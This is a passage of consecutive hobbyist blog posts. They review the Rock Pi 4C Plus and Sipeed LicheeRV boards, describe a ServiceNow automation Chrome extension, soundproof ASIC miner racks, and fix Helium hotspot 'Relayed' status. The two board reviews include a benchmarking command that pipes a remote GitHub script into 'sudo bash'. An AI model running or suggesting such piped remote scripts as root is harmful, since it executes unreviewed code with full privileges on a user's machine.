Amazon.pl*, Amazon.se* Kioxia 2230 M2 NVMe Drive The Kioxia (Toshiba) 128GB M.2 2230 PCIe NVMe drive is much shorter than most NVMe drives (full size is 2280). It fits great with single board computers / tablets / other smaller form factors. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Specifications 64bit hexa-core processor Rockchip RK3399-T Dual Cortex-72, frequency 1.5GHz Quad Cortex-A53, frequency 1.0GHz 4GB RAM Dual-channel LPDDR4@3200Mb/s Mali T860MP4 GPU OpenGL ES 2.0 Dual 4K + 2K HDMI display Gigabit Ethernet with PoE support 2 USB 3.0 ports 2 USB 2.0 ports WiFi 5 support Bluetooth 5 support M.2 NVMe support Build Quality The board is built extremely well. The Rock Pi 4C Plus has several predecessors that have given a chance for the board to be refined over time and the bugs to be worked out. The components are of high quality. You can see the SKHynix memory chips (and RockChip parts) below: Radxa Rock Pi 4C Plus – Top View We can see they did use color-coded GPIO on this board which definitely makes things easier if you’re using GPIO extensively. And the bottom view: Radxa Rock Pi 4C Plus – Bottom View There is an eMMC slot on the bottom shown above. There’s a white outline around the slot showing where the eMMC would be if the slot was populated. On earlier versions of the board the M.2 slot was sometimes on the bottom of the board which made it difficult to use without an extension cable / adapter board. You can tell that they learned from this and only put the eMMC slot on the bottom of the board (because it’s flat enough that it won’t interfere with most cases or designs). Images Available The official page for Rock Pi 4 downloads is here. The official images include: Android 11 Ubuntu Server 20.04 Debian Bullseye Desktop The official image selection is decent maybe with the exception of Ubuntu 20.04 which is not the current LTS version. There is a much wider selection of unofficial images including: Armbian Manjaro Recalbox LibreELEC DietPi Many others This selection is honestly quite good but one thing to note is that not all of these have been updated for the 4C Plus model yet (most of them in fact at time of writing). This should improve over time as support is added for the new model (although there are variations between the images for different revisions so be careful). Make sure you get the version for the 4C+ (and not the 4C). Imaging M.2 NVMe Module The Rock Pi 4C Plus works differently than the 4A / 4B / 4C. This model does not have onboard SPI flash so you must use a sacrificial SD card to hold the boot loader to boot from the SSD with this model. The way this works is it uses your SD card to start the earliest parts of the boot process but then it mounts the SSD as your root partition instead of the SD card. Make sure you see my Radxa Rock Pi 4C Plus SSD boot guide for instructions on how to do this as I found very little instruction available online outside the Radxa wiki. For this review I used the official Debian Bullseye desktop image. Mounting M.2 NVMe Module Provided that you have a 2230 size module you can use the built in mounting hole to mount your M.2 NVMe drive securely to the board. Here’s what mine looks like mounted: Radxa Rock Pi 4C Plus – NVMe and Heat Sinks Mounted Benchmarking NVMe You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 370.59 MB/s HDParm Cached Disk Read 349.16 MB/s DD Disk Write 211 MB/s FIO 4k random read 47962 IOPS (191850 KB/s) FIO 4k random write 12760 IOPS (51040 KB/s) IOZone 4k read 56308 KB/s IOZone 4k write 56392 KB/s IOZone 4k random read 38025 KB/s IOZone 4k random write 59999 KB/s Score: 14,003 The full Rock Pi 4C Plus benchmark can be viewed here on Pi Benchmarks. Oh yeah, that’s definitely NVMe performance for sure! I’ve only scored higher than this on 2 other boards: the CM4 and the ODROID M1. Once you get it set as your root partition this board is smoking fast. Pros / Cons Pros Extremely powerful board widely available for <$100 Top mounted 2230 M.2 NVMe slot gives incredible I/O performance Expandable eMMC option Cons No higher or lower memory options than 4GB Image selection is limited for newer 4C Plus model at time of writing Does not have SPI flash (nor can any be added) unlike 4A / 4B / 4C — to boot from NVMe you need to use a SD card as the boot loader Conclusion This was my first board I’ve reviewed from Radxa and I really like it! I do have a Radxa Zero (with eMMC) that I preordered a while ago that I will be reviewing as soon as I get my hands on it. I’m impressed by how much support there is for the Rock Pi series of boards from third party images / vendors. This board makes a lot more sense to buy to me than a Raspberry Pi 4 right now. They are under $100 and are more powerful than a Pi 4. They have a GPU that is capable of good desktop performance. They’re relatively easy to get your hands on at time of writing as well. I definitely recommend picking up one of the cheap $10-$13 128GB 2230 M.2 NVMe drives. They are essentially cheaper than most SD cards (and much cheaper than a 128GB SD card) and you can use it as a permanent mount in the board and enjoy much higher performance and larger storage capacities right from the start. This will enhance your experience. We are going to see more and more single board computers with M.2 NVMe connectors like this. It is literally cheaper and the performance is an order of magnitude higher than even the best application-class SD cards. I will be surprised if the Pi 5 doesn’t have one of these. I recommend the Rock Pi 4C Plus as a pretty powerful alternative to the Pi. It’s not perfect since you have to sacrifice a SD card to actually boot from the NVMe but for the price and in this market it’s definitely worth considering! Other Resources SSD booting on the Rock Pi 4C Plus is a little tricky so definitely see my SSD / NVMe boot guide for the Rock Pi 4C Plus I have a pretty steadily growing collection of reviews for other single board computers available here #### ServiceNow Automation Using Chrome Extension I am releasing my Google Chrome extension with tools to automate many ServiceNow ticket tasks.  It is a easily extendable extension in which you can autopopulate and autoroute tickets, automatically refresh your queues, play a sound when a new chat comes in, present hints and tips to agents, and many other features. Every ServiceNow implementation is different so don’t expect to be able to drop this extension right in. To use it will require modifications specific to your implementation of ServiceNow.  If you understand basic Javascript you should be able to make use of this.  No APIs are used other than what is available in ServiceNow itself. This tool was developed using the Chrome Developer Tools (Ctrl+Shift+I) to get fields and ids you will need to make the tool work. I do not recommend even attempting to use this unless you are a fairly experienced web developer. All code is available at my GitHub link at the very top of this web site or click here Table of Contents Toggle DisclaimerFeaturesGetting Started With ServiceNow AutomationAutorouting in ServiceNow with RegExUsage – How to use the ServiceNow Chrome extension Disclaimer I am in no way affiliated with ServiceNow. This is simply a suite of assisting and automation tools I developed when I was an agent for a large multinational corporation that handled thousands of tickets per day. All trademarks and intellectual property are owned solely by ServiceNow. This tool is simply a easy way to fill out some of the fields within the webpage to save agents/technicians a lot of time. If you attempt to develop your own version of this tool you should use your test environment and not a live server. Features Ticket Autopopulation – Uses regular expressions (RegEx) to search ticket subject and text for common issues and presents a dialog to populate the ticket based on potential matches Chat notifications (sound and notification bubble) – Pops up a Google Chrome notification bubble when new chats are received and plays a sound Autorefresh & Notifications – Automatically refreshes incident and task lists and pops up a notification bubble when new ones appear One-click Routing – Allows you to put a ticket into the “In Progress” state and send it to a resolver group without filling out any fields (useful for routing to yourself to fill out later or foreign language resolvers) SLA monitoring – Incident list uses color coding going from Green to Orange to Red based on how close to SLA the ticket is Popup Menu – Programmable pop-up menu with quick functions to help agents perform tasks quickly Getting Started With ServiceNow Automation You will need to update the URLs in the manifest and the files. By default they are .servicenow.com. If you do not update the manifest before creating a Google extension Google will not run the code on any of the pages as the correct URLs are required in the manifest for any code to execute. Once you have made that change you will need to install the extension in your Chrome browser.  There are lots of good instructions online on how to do this.  I recommend starting at Google’s own tutorials here if you have never developed a Chrome extension before. Now it’s time to head to your ServiceNow implementation.  Again I highly recommend using your company’s test environment to avoid causing any production issues. Autorouting in ServiceNow with RegEx To handle the most common tickets we use regular expressions to search the tickets for common issues. This is done in an array located in autoroute.js. Here is an example: { RegEx: ".*\\b(BOX|APP-BOX.COM|APP-BOX|BOX.COM)\\b.*", CI: "Box External File Sharing-PROD", Resolver: "APP-BOX.COM", Category: "application", SubCategory: "enterprise", SubCategoryType: "configure", INCCategory: "application", INCSubCategory: "configuration_error_single", INCSubCategoryType: "other_single", KB: "Attached Knowledge article: [code]<a href='https://*.service-now.com/kb_view.do?sys_kb_id=909764ae8746f000297afb49c9434da6'>KB0018582</a>[/code]" Notice: "All Box issues should go to the Box resolver group" Label: "Box File Sharing Service" } In this example we are looking for tickets submitted about the popular Box file sharing service. The first line is the RegEx line and looks for Box, App-Box, Box.com, etc. You can search for as many keywords as you want to.  You may also use more advanced regular expressions to get extremely accurate and tailored results. Usage – How to use the ServiceNow Chrome extension When you open up a ticket the extension will search the ticket.  Then it will present possible matches at the top as bubbles. The agent/technician can then click the correct bubble. The agent can fill out the ticket the old fashioned way if no matches are found. If a bubble is pressed the following actions occur: The Configuration Item (CI) is automatically populated All categories and subcategories are selected The relevant KB article is attached The ticket is presented to the agent for review Nothing is saved until you submit the ticket providing the opportunity to ensure everything has populated correctly You may also use the optional “Notice” and “Label” fields.  These allow the extension to provide specific labeling and instructions to the technician to help reduce routing errors. That’s about it!  Let me know if you have any questions and I will try my best to answer them for you. #### Sipeed Lichee RV RISC-V SBC Review Sipeed LicheeRV RISC-V SBC Review The support for open-source RISC-V hardware continues to improve across the board as more board manufacturers continue to adopt them and ship high quality boards powered by RISC-V. Today we’ll be looking at the Sipeed LicheeRV. It’s honestly one of the most exciting single board computer products I’ve seen in a while. It’s basically the RISC-V version of a Pi Compute Module! These are small modules that are meant to be used with different docks / IO boards. They can be swapped between the different docks and will gain different capabilities based on what the dock has just like a dock for your laptop / other devices. Not only that, this board is now officially supported by Ubuntu! Not only do you have an awesome form factor but you now have a very serious mainstream operating system that is supporting the board and architecture. I’ll also benchmark the device and tell you what to expect performance wise. Let’s get started! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityImages AvailableBenchmarking I/O PerformanceConnecting to WiFi (persistently) with UbuntuPros / ConsProsConsConclusionOther Resources Hardware Used LicheeRV w/ Dock The LicheeRV Dock runs the RISC-V architecture with a Allwinner D1 1.0 GHz CPU. It uses 2 M.2 connectors side by side as the connection between the dock and the LicheeRV. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.sg* Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Specifications CPU Allwinner D1 chip (Based on T-Head XuanTie C906 core) Up to 1GHZ RAM 512MB 16bit DDR3 Up to 792MHz Storage Onboard SD card slot Reserved SD-NAND pads Display MIPI: 4-lane MIPI DSI RGB: RGB888 interface(partially multiplexed with DSI) MCU: I80 interface SPI: Onboard 8pins SPI screen interface – can be used for 1.14 inch screen Audio Analog audio headphone output (HP OUT); Analog audio line input (LINE IN); Digital Audio (I2S/SPDIF); Analog microphone interface (MIC3); Digital microphone interface (DMIC); All above pin out to connecting finger Ethernet Pin out RMII/RGMII to connecting finger (Multiplexed with some GPIOs) USB Onboard Type-C USB-OTG interface (USB0) USB-HOST pins out to connecting finger (USB1) FEL key (Enter download mode) Build Quality The build quality is fantastic especially for the price. It uses two M.2 connectors for the board to mount to the dock. First let’s take a look at the module outside of the dock: Sipeed LicheeRV – Module As you can see it’s incredibly small. I left the micro SD card in the device so you could get a sense of how small it actually is. It’s smaller than a Pi Zero. Quite a bit smaller actually. Here’s a look at the dock without the module inserted: Sipeed LicheeRV – Empty Dock And the bottom of the dock: Sipeed LicheeRV Dock – Bottom View Everything is printed clearly and easy to read. The connectors feel like they can handle a lot of abuse. It’s probably a good thing they went with a standard tried-and-true connector like the M.2 standard. Images Available The official image download page for the LicheeRV is here. The page to download the official Ubuntu RISC-V image with LicheeRV support is here. The official operating system is Tina Linux which is a very small distribution meant for low power systems. I definitely recommend using the Ubuntu Server image personally and that is what I’ll be testing with today. Benchmarking I/O Performance You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 11.38 MB/s HDParm Cached Disk Read 11.38 MB/s DD Disk Write 9.8 MB/s FIO 4k random read 1521 IOPS (6085 KB/s) FIO 4k random write 614 IOPS (2456 KB/s) IOZone 4k read 4458 KB/s IOZone 4k write 1878 KB/s IOZone 4k random read 4177 KB/s IOZone 4k random write 1991 KB/s Score: 652 The full Lichee RV benchmark can be viewed here on Pi Benchmarks. This is pretty close to the score the Mango Pi MQ Pro got (another RISC-V board that shares the same D1 processor) . This is exactly where we should be. Keep in mind that as a single core 1 GHz CPU this board is not meant to handle heavy loads. It is meant for light services and applications essentially. Connecting to WiFi (persistently) with Ubuntu First make sure you’ve installed the wireless driver for the Lichee RV with: sudo apt install licheerv-rtl8723ds-dkms Note: Building the WiFi driver will take a very long time (over an hour). Since this is Ubuntu we need to use netplan to set up the WiFi connection. To do this we will edit the file /etc/netplan/50-cloud-init.yaml: sudo nano /etc/netplan/50-cloud-init.yaml We are going to modify the file and add the “wifis” section like this: network: ethernets: zz-all-en: dhcp4: true match: name: en* optional: true zz-all-eth: dhcp4: true match: name: eth* optional: true version: 2 wifis: wlan0: optional: true access-points: "YourSSID": password: "YourPassword" dhcp4: true Note that the spacing is *extremely* sensitive with YAML. You should paste your code into a YAML validator and make sure you don’t have any spacing errors as they will break the file. Now let’s apply the netplan configuration with: sudo netplan --debug generate sudo netplan --debug apply Now let’s check iwconfig again: root@ubuntu:/etc/netplan# iwconfig lo no wireless extensions. usb0 no wireless extensions. enx3c18a07c2cb9 no wireless extensions. wlan0 IEEE 802.11bgn ESSID:"jamesachambers.net" Nickname:"<WIFI@REALTEK>" Mode:Managed Frequency:2.437 GHz Access Point: 24:5A:XX:XX:XX:XX Bit Rate:72.2 Mb/s Sensitivity:0/0 Retry:off RTS thr:off Fragment thr:off Encryption key:****-****-****-****-****-****-****-**** Security mode:open Power Management:off Link Quality=0/100 Signal level=-55 dBm Noise level=0 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 You’ve now configured netplan and will persistently connect to the network! Pros / Cons Pros Can connect to a dock or I/O board similar to a Pi Compute Module 3/4 Runs RISC-V open hardware Officially supported by Ubuntu Extremely affordable and available worldwide Cons D1 chip is single core and should be used for light applications/services and not heavy loads Not suitable for desktop use 512MB of RAM is the only option available Conclusion It has really been a personal breakthrough for me that both the LicheeRV and the Mango Pi MQ Pro can run Ubuntu Server really well! I’m sure that the official Tina Linux distribution is fine but I am honestly too used to having the full apt catalog of a larger distro like Ubuntu / Debian available. Once you start using Ubuntu with the RISC-V architecture and everything you expect to be there is there and working making the jump doesn’t seem like such a big deal. I’m really enjoying using these RISC-V boards with Ubuntu! The entire kit even with the dock is only slightly wider than a Pi Zero. It’s incredibly small outside the dock (smaller than a Pi Zero or a Compute Module) and even works without it (with a limited amount of hardware available but it’s still cool nonetheless)! It’s very exciting to see a RISC-V take on the Compute Module series of boards that have a connector capable of connecting to different docks / IO boards. I would highly recommend anyone into single board computers gets one of these boards. Even if you’ve only traditionally worked with ARM boards it’s really easy to get into it and get started with one of these LicheeRV dock kits. It will only cost you around $27-$34 or so to get the entire kit. I ordered mine from AliExpress for what it’s worth because it was cheaper. I had to wait longer but I have another half dozen or so boards in the mail anyway so I didn’t mind waiting to save the money. I have a Lichee RV 86 panel kit* coming soon as well so I will be doing more Lichee coverage on the site here as soon as it arrives and plan to use these for various projects around the house. That is basically a small wall mounted panel powered by the Lichee RV inside it! I want to start setting up some smart sensor and security systems around my house using open source hardware to start phasing out some of my cloud systems I have around the house. Other Resources Another RISC-V board that uses the same D1 chip is the Mango Pi MQ Pro. It’s also the most pink board you’ve ever seen. Make sure you see my Lichee RV 86 Panel guide if you are interested in a screen for your Lichee RV See my other single board computer reviews here #### Soundproofing ASIC Miner Enclosures With Acoustic Foam Extremely powerful hardware tends to be very loud. Enterprise servers, networking equipment, cryptocurrency miners are three major offenders. This type of equipment tends to have very small fans that rotate extremely fast and emit a high pitched “whine”. This is fine if you are stuffing all of your equipment in a closet somewhere but for some deployments and situations this isn’t always possible. There are extremely expensive racks that have sound dampening foam and other materials preinstalled for situations like this but they are extremely expensive (thousands vs . what we will be doing which only costs hundreds). In this article I’ll show you how I modified some (relatively) cheap racks available from Amazon with acoustic foam to reduce noise from ASIC cryptocurrency miners as well as other loud equipment! Table of Contents Toggle Hardware UsedRequirements / RecommendationsModding the RacksMeasuring the ImpactAdditional Sound ReductionConclusion Hardware Used I have built two of these modded racks so far. One is a medium size rack and one is a baby mini rack. They are both on casters and are easy to move around. I went with the TUFFIOM racks because they come with the shelves and a bunch of extras they call “gifts”. These “gifts” are what somebody who hasn’t bought racks before might expect to just come with the rack, like a shelf for example, but they hardly ever do and it usually adds at least hundreds of dollars of expense just to buy the shelves and extras you need. This on top of the independently powered built-in powered air exchange at the top of the units made them the clear choice for this project of reducing noise without breaking the bank or cooking expensive equipment via overheating. Here’s the two racks I modified in this article: TUFFIOM 15U Casters Network Cabinet Enclosure The TUFFIUM 15U rack is meant for smaller equipment and won’t accommodate most servers but is very accommodating for smaller equipment. Comes with a shelf so there are two solid “levels” you can place things without putting them on rails. Lots of airflow while still allowing plenty of surface to safely place acoustic foam. Great for ASIC miners, loud network switches, and other small but loud/hot IT equipment. Reasonable enough size to use at home as well. Links: Amazon.com*, Amazon.ca* TUFFIOM 9U Casters Network Cabinet Enclosure The TUFFIUM 9U is what I affectionately refer to as a “baby rack”. It’s very small but has the same powered ventilation at the top and generous airflow of the 15U rack. Very cheap and perfect for home use. Still lots of solid surface area to place acoustic foam despite the small size. Links: Amazon.com*, Amazon.ca* I used two types of acoustic foam. One is a thicker fancier pad that is good for the deeper parts of the rack and absorbs the most sound. The other is a thinner foam that is cheaper in bulk and better for things like cutting into smaller pieces and lining the edges of the rack doors. It absorbs less sound but is more versatile and can go places that putting the thicker pad would cause problems or obstruct airflow. Here’s the two types I used: TroyStudio Acoustic Studio Absorption Foam Panel The TroyStudio Acoustic Studio Absorption Foam Panel – Broadband Sound Absorber panels are a very thick foam (2″ depth) tile with a “periodic groove structure” that helps to absorb and dampen sound waves. This is the tile we will use in the deeper parts of the rack that can fit a full size foam tile like this. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Acoustic Grid Studio Foam Sound Absorption Wall Panels The Acoustic Grid Studio Foam Sound Absorption Wall Panels (1″ depth) are much cheaper than the thicker foam above and are great for cutting up into smaller pieces to use inside our rack on things like the outer doors and other places where a full foam “tile” won’t fit. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* I used 3M double sided stickies to secure the foam to the case. 3M Double Sided Sticky 3M double sided stickies to secure acoustic foam to another surface Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Here are some classroom dividers I used to make a few extra sound barriers to further reduce noise: Classroom Dividers w/ Stand Self standing classroom dividers. These already help dampen the sound but I added additional acoustic foam to one of the sides to maximize sound dampening Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Requirements / Recommendations You don’t have to use the racks I got to do this as long as the racks you choose meet a few basic requirements. The most important requirement when picking a rack to mod is to make sure it’s actually a rack that is meant for hot IT equipment. I highly recommend getting one with powered ventilation / air exchange. Both of the ones I modded came with a separate AC cord that powers both an intake and exhaust fan (included and pre-installed) on the top of the unit. The other thing you need to be conscious of is the rack depth. These ones are very narrow racks for IT equipment because I’m putting mostly ASIC miners and other “loose” small devices. One of my big HP ML350p Gen8 servers for example would have zero hope of fitting in a 19″ depth rack so make sure you choose one that has enough depth to hold your equipment. There are tons of cabinets/racks out there that are not suitable for equipment that requires a lot of power and puts out a lot of heat. That is why you want to seek out one that has powered ventilation at a minimum and preferably lots of other airflow like the two cases we will be featuring today. We will be leaving all the rack’s airflow open and functioning as designed as well as carefully monitoring your temperatures (more on that later). This does let some noise through but I’ll be covering some ways I dealt with this as well without compromising the airflow and inadvertently creating an oven instead of an IT rack. I generally don’t recommend a fully enclosed/sealed rack unless you really know what you’re doing and are just trying to quiet down something like a network switch/small device with extra whiny fans. Even a couple powered ventilation fans on the top like these racks we’re featuring today aren’t going to be able to exchange enough air for most serious IT equipment. In those situations you’re going to need to get one with a much fancier ventilation system to fully enclose it without risking overheating (think multiple air exchanges with 6-8 total fans in the case minimum instead of 2). The upside is that setup would be quieter in the end than what we’re doing but then you’re right back in the thousands of dollars price range again when you start looking at fully enclosed racks with proper ventilation for any serious equipment and they also tend to make a lot of noise for their own fans (which is what we’re trying to get away from). Modding the Racks A very nice thing about these racks is that they come fully assembled. Even my “gift” shelf came already preinstalled in both racks. All I had to put on was the caster wheels since they’re optional. That means once you receive the rack and the acoustic foam you are ready to proceed, so let’s get started! I started with the “easy” parts of placing the full 12″x12″ foam tiles along the back of the racks. Both the mini and medium racks have one side that is solid with no ventilation the larger premium tiles can be placed. Depth is also important as these are 2″ depth foam squares and both racks have plenty of clearance along this solid side. TUFFIOM 15U Bottom Inside TUFFIOM 9U Side Panel Removed I just have a power strip inside but I plan to upgrade to a rack mount power strip to clean it up. The networking is also coming in the top of the unit so you can actually move the rack around on the casters around the entire room. This definitely comes in handy! I used the 3M double sided stickies on the back of the acoustic foam to secure it to the case. This doesn’t give as “clean” of a result as glue would but is also a lot easier to work with and make changes to. You also should check to make sure pieces don’t fall off over time from heat and gravity working together. Mine have stayed mostly secured in a few weeks of testing so far but I have had to reattach some here and there. Here’s an example of one that started hanging: TUFFIOM 15U Full Side View w/ Hanging Foam This has only happened a couple of times but my guess is that it is due to heat. If it continues to happen I may have to upgrade to something like a heat resistant glue and just glue the pieces in place. I will definitely update this article if that happens! Observe that the case’s natural airflow vents are left unobstructed. Don’t place foam over any of these as it will cause the airflow of the rack to not flow as designed. Here’s the top section of the case inside: TUFFIOM 15U Top Section of Inside I lined around the fans but left them some space. Next I started lining all of the doors with the 1″ depth pads. I cut the squares into thirds or quarters depending on the size of pieces I need to fit each door. TUFFIOM 15U Side Panel Now it’s time to put everything together and take some measurements! Measuring the Impact So how much does it help? I took some measurements with a decibel meter to show how much of an impact acoustic foam and a decent enclosed rack can have. Here is a measurement from inside the mini 9U rack: Decibels Inside Case (81.3 dB) Ouch. 81.3dB inside the rack. That is loud enough to give you a splitting headache after a long enough exposure. I can tell you from personal experience and it is why I built the rack since I have a workstation down there and sometimes work for hours at a time near the equipment. Now let’s take a look at the measurement if I close the front panel again and stand only a few feet away: Decibels Near Case (62.6 dB) Standing directly above where I took the first 81.3dB measurement with the front panel closed we are already seeing a reduction of 18.7 dB. That is a huge improvement already! A quick note about decibels is that they are logarithmic. If you calculated this on a normal scale that would be a 23% drop but that is not the case in decibels. Let’s use a chart to help illustrate this: Noise Levels Chart The difference between 81.3 dB and 62.6 dB is the difference between standing next to a running powered lawnmower for the former and “normal conversation / background music” for the latter. It’s a night and day difference already. Note that I do have some additional foam placed on the concrete below as well as some on the wall. I’ll cover that more in the next section here. For our last measurement how about if I stand about 10-15 feet away? Let’s take a look: Decibels 15 feet (54.5 dB) The two racks are in the top right corner of the shot. I am next to my chair that is visible in the very first shot from inside the 15U case. Only 15 feet away from that 81.3 dB equipment it is only 54.5 dB which puts us well into the green somewhere between “average home noise” and “background music”. I can now comfortably work in this chair next to the equipment for hours whereas before I would get a headache from the high pitched fan whine in less than an hour of exposure. You also can’t hear the fans through some of the vents when the rest of the house is really quiet anymore. Additional Sound Reduction Since we leave the airflow open in the case there is some noise that will “escape” through the airflow holes. Think of the sound like light. If you were shining a bright light in there what would happen? The sound waves act much in the same way. Obstructing the airflow is not an option, but there are a couple easy additional things you can do. If we continue with our analogy of our sound source being similar to shining a light where is the light “leaking” to? We can place additional foam at these places to dampen more sound. The easiest one is right on the concrete/floor outside of the rack on both sides. With concrete or tile especially the sound waves will bounce right off the surface very effectively and scatter all over the room. Once the acoustic foam is placed the sound waves impact the foam and are absorbed/scattered instead of reflected everywhere by the floor. You can see a foam tile below my hand placed directly on the concrete floor from the 62.6 dB measurement in the previous section. I got some visual/noise partitions meant for dividing students in classrooms and added additional foam to it. You could consider these combined with one on the floor as our second line of defense. It looks like this: Divider partitions with acoustic foam These are very effective as they add a blocking sound barrier right at the “source” of the sound. We’re basically absorbing another set of waves that made it past our first line of defense. I also used some leftover foam and padded my unfinished basement wall here and there like this: Acoustic Foam Wall Arrangement This would be the third line of defense. If sound waves still made it past the inside rack foam and the divider partition (our second line of defense) you still have an additional chance to catch and neutralize the waves before they bounce again. It definitely helps the most with areas that the open ends of the rack are pointing. In the above picture a lot of these are tiled right at the rack’s airflow level since that is the source of the sound. In this case the wall is getting a “direct hit” of sound waves right from the source and that’s why it’s so effective to place a tile there. The ones I placed on the ceiling are probably doing very little other than catching ones that bounce off the floor. This is a very common basement setup and you may have seen these exact foam squares tiled on your favorite YouTuber’s wall. They do it because they are recording and acoustic foam absorbs noise from the furnace and other equipment in their basement that could be heard on their audio without using something to absorb it like this. They definitely work, but you need a LOT of them to do a whole room, and frankly I didn’t get anywhere near the reduction I got with the metal enclosure + foam method. I would have to spend several hundred more dollars to finish tiling this wall and I’m already satisfied with the results. I do expect that if I do finish the rest of the wall though that it would yield further gains. From what I’ve measured it works almost proportionally to how much you do as the sound is hitting all the surfaces in the room and bouncing all over just like light does. The more you do the less places the sound can “bounce” without losing a bunch of intensity or being absorbed by the acoustic foam. Do the direct “line of sight” to the sound source areas first but then additional tiles do yield small additional gains. Conclusion This was a major quality of life improvement for my home lab. I definitely recommend it but you need to monitor your temperatures when you put hot equipment inside an enclosure. I had to make some adjustments to how my units were placed. They had the best temperatures when the intake was right against the “grill” of the rack, and the exhaust was exhausting in the middle of the case. I thought it would be the opposite, but the case is pretty good at getting rid of hot air, but it is not good at giving it the coolest intake air vs. putting it right against the edge of the case. As long as you monitor your temperatures if you are near something loud a lot this is definitely a good project to consider! #### Speed Up Helium Miner Hotspot Sync / Fixing “Relayed” Status Bobcat 300 Helium Miner* I recently received my Bobcat 300 miner* after months of waiting. Much of the advice I’d read/seen on the subject suggested to leave the hotspot alone and that it takes a very long time to sync. This is true but it assumes you configured your network correctly first and have the correct port opened to the outside world. If it’s not it will take even longer to sync the blockchain and your hotspot will have a yellow “Relayed” status. This is slowing down your sync and will harm your rewards even when it finishes since your responses to challenges will be “relayed” and will often time out before they are relayed through other hotspots. In this guide I’ll show you how to get your network configured correctly for your hotspot to sync as fast as possible and remove the “Relayed” status! Table of Contents Toggle OverviewPort ForwardingNote on Offline StatusConclusionUpdate 6/23/2021Update 6/24/2021Update 6/29/2021Update 8/7/2021Other Resources Overview The Helium hotspot uses peer to peer networking similar to other cryptocurrency wallets (with “nodes” etc.) as well as BitTorrent and other peer to peer applications. Xbox Live and PSN also both use peer to peer networking where one console with a high quality internet connection will be chosen to be the “host” and the other players in the game lobby create a peer to peer connection to the host console. Just like every other peer to peer application not having the correct ports open on your firewall impacts your speed. On our Xbox Live/PSN example you would get a “poor” connection rating and never be chosen as a host. With Helium the “Relayed” status is the equivalent of the Xbox Live/PSN “Poor” connection quality rating. The ports are not publicly accessible over the internet and you get penalized / a downgraded experience for this. Here’s an example of a relayed hotspot: Relayed Helium Hotspot The solution is to open the correct port on your firewall by creating a “port forwarding” entry in your router. Port Forwarding The specific instructions for your router will vary but can be found with a quick Google search. It’s likely you’ve encountered this before for something else but if you haven’t it isn’t too difficult. Once you feel confident you have the knowledge/instructions you need ready to set up port forwarding the main critical port you need to forward on your router is TCP Port: 44158 This is the port that will eliminate the “relayed” status and allow inbound connections to your device. This will also speed up your sync as outbound only points are at a disadvantage here since sometimes the people who connect to you end up sending you blocks! Once you’ve set up the port forwarding it should update the status on it’s own eventually or if you want to speed things up you can unplug the power cable from the hotspot for about 10 seconds and then plug it back in. With all the hotspots joining it may take 15-30+ minutes (depending on many factors) but it should show up as solid green with no “relayed” status: Happy Status Helium Hotspot Observe that even though I am not 100% sync’d I still am green status with 91.31% sync’d. This can get very sluggish to update sometimes but unless you’re seeing no activity whatsoever for at least a few hours I would urge leaving it alone for the most part. Note on Offline Status It’s not unusual for the hotspots to go offline when trying to sync with the blockchain. They should however still be connecting periodically and you should see your sync slowly making progress. My hotspot has got stuck several times where it went off for the entire night and when I turned it back on it had made no progress. My best rule of thumb is to leave it alone as long as the light is “green” (for the Bobcat miner*) unless you aren’t seeing any change or progress for a long period of time. This may vary based on your miner but the problems actually seem to be with the Helium network as a whole. Which miner you have can have an impact but most of the congestion is on the Helium network itself from so many new hotspots joining and syncing at once! Conclusion I’m still not fully synchronized yet with the blockchain but it’s staying green and doesn’t have the relay status. So many points are joining the network that the hardware is having a difficult time keeping up! Remember, the relay status does penalize your mining rewards. It also prevents you from participating in several other features in the Helium blockchain so make sure you have a green non-relayed status. It’s definitely frustrating how slow it can be but as long as you periodically monitor that the percentage is going up (wait a few hours minimum before power cycling) and have your ports opened you will sync as fast as anyone else is (slowly) but you won’t be at a disadvantage! If you have a Bobcat 300 they have just released a utility called the “Diagnoser”. Full guide here: Bobcat 300 Diagnoser Tool / Utility Guide Update 6/23/2021 I woke up this morning to find the hotspot 99.79% sync’d. It was offline and 